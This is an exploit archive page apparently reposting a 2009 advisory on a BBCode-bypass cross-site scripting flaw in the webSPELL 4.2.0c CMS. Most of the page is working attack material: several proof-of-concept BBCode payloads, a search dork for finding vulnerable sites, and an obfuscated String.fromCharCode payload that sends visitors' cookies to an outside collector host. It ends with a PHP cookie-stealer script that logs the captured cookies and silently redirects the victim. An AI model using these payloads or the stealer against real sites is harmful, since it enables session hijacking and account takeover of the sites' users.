exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

webSPELL 4.2.0c XSS Cookie Stealing

webSPELL 4.2.0c XSS Cookie Stealing
Posted Apr 16, 2009
Authored by YEnH4ckEr

webSPELL version 4.2.0c suffers from a BBCode bypass cross site scripting cookie stealing vulnerability.

tags | exploit, xss
SHA-256 | 05756b992189d870ebd23c42d21edcc6b7a2a6b86f274a8e1810bca1b4fc9f8b

webSPELL 4.2.0c XSS Cookie Stealing

Change Mirror Download
webSPELL 4.2.0c XSS (BYPASS BBCODE) COOKIES STEALING VULNERABILITY         

----------------
CMS INFORMATION:
----------------

-->WEB: http://www.webspell.org/ (affected too)
-->DOWNLOAD: http://www.webspell.org/download.php?fileID=22
-->DEMO: http://www.webspell.org/index.php?site=demo
-->CATEGORY: CMS / Portals
-->DESCRIPTION: webSPELL is a free Content Management System (CMS) for clans and
gaming communities, providing all needed features like forums, gallery, clanwar...

-------------------
CMS VULNERABILITY:
-------------------

-->TESTED ON: firefox 3.0.8 and IE 6.0.29 (Default)
-->DORK: "Powered by webSPELL"
-->CATEGORY: XSS/BYPASS-BBCODE/COOKIES STEALING
-->AFFECT VERSION: LAST = 4.2.0C (maybe <= ?)
-->Discovered Bug date: 2009-04-14
-->Reported Bug date: 2009-04-14
-->Fixed bug date: 2009-04-14
-->Info patch (v-4.2.0d): http://www.webspell.org/
-->Author: YEnH4ckEr
-->mail: y3nh4ck3r[at]gmail[dot]com
-->WEB/BLOG: N/A
-->COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo.

-----------
BUG ZONES:
-----------

#BBCode is bypassed by differents methods and XSS is possible.

----------------------------------
PROOF OF CONCEPT (SEARCHING XSS):
----------------------------------

BOTH (FIREFOX AND IE):


[email][img]http://a.com onmouseover=alert(1) [/img][/email]
[email][email][img]http://a.com onmouseover=alert(1) [/img] [/email][/email]
[email][url][img]http://a.com onmouseover=alert(1) [/img] [/url][/email]

Maybe you find more...I looked for a bit xD

ONLY IE:

[email][email][url]http://a.com onmouseover=alert(1) [/url]http://' onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com' onmouseover=alert(1) [/url]http:// onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com' onmouseover=alert(1) [/url]http:// ' onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com' onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]

Combinations of tags like this:

[email][img]http://a.com onmouseover=alert(1) [/img][/email]

Generate the follow html code:

<a href="mailto:..."><img src=\"http://a.com onmouseover=alert(1) \" id=\"ws_image_123966998343_1\" border=\"0\" onload=\"checkSize('123966998343_1', 450, 500)\" alt=\"http://a.com onmouseover=alert(1) \" style=\"max-width: 451px; max-height: 501px;\" /><div id=\"ws_imagediv_123966998343_1\" style=\"display:none;\"><a href='http://a.com onmouseover=alert(1) ' target='_blank'><i>(Auto resize: show original)</i></a></div></a>


--------------------------
COOKIES EXPLOIT (BBCODE):
--------------------------

I'll use the first PoC (IE6 and firefox) and String.fromCharCode
to bypass quotes and send cookies to my host:

http://www.myphpcookiestealing.es/capturethecookies.php?ck=

Well...Let's GO!

[email][img]http://www.victim.es onmouseover=document.location=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,109,121,112,104,112,99,111,111,107,105,101,115,116,101,97,108,105,110,103,46,101,115,47,99,97,112,116,117,114,101,116,104,101,99,111,111,107,105,101,115,46,112,104,112,63,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61)+document.cookie [/img][/email]

------------------------------
COOKIES STEALER (PHP SCRIPT):
------------------------------

<?php
$ck=$_GET["ck"]; //Capture the cookies
$manejador=fopen("exploited.txt",'a'); //Open cookies saved file
fwrite($manejador, "Cookie:\r\n".htmlentities($ck)."\r\n--EOF--\r\n"); //Save the values
fclose($manejador); //Close file
echo "<script>location.href='http://[HOST]/[PATH]/index.php?module';</script>"; //Redirect...we don't want to alert xDD
?>

You can use any cookie editor and you have one shot (XSSSHEll+XSSTunnel = many shots)
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close